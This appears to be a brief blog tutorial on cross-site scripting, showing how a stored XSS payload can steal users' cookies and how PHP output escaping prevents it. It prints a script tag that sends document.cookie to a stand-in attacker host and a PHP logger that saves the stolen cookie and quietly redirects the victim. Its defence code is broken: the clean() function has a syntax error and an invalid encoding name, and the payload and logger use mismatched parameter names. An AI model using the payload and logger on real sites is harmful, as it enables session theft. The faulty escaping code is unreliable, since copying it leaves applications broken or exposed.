The Cross-Site Scripting (XSS) attacks are one of the most common attacks faces by websites today. It is a massive problem and it can literally forward a user to attacker sites then steal their sensitive information like remember me cookie etc. The XSS attacks are done by injecting some malicious javascript codes into the database which will trigger when user login to the website.
Now I will show a real world scenario of stealing the cookie. Just imagine that attacker insert the following javascript code into the database during filling some registration form.
<script>document.location="attackerurl.com/steal.php?value="+document.cookie</script>
If the website simply outputs database value without any XSS filter when the user logged in he will immediately take to attacker URL and the attacker can steal his cookie if the site doesn't secure the cookie by using following PHP code.
<?php
$cookie = $_GET['cookie'];
file_put_contents('log.txt',$cookie);
header('Location:http://urlofyoursite.com');
Since user immediately redirects to the original site he will not even notice the attack and this is very dangerous.
So how can we prevent it?
There are two approaches for preventing XSS attacks.
You can easily filter your outputs by calling following PHP function every time you output data from the database.
function clean($value) {
return htmlspecialchars(($value, ENT_QUOTES,'UTF_8');
}
The htmlspecialchars function will convert special characters from HTML entities. Many users use this function without 2nd and 3rd parameters but it is also not recommended. There are 10 flags you can use as 2nd parameter and you can read all of then by visiting following link htmlspecialchars.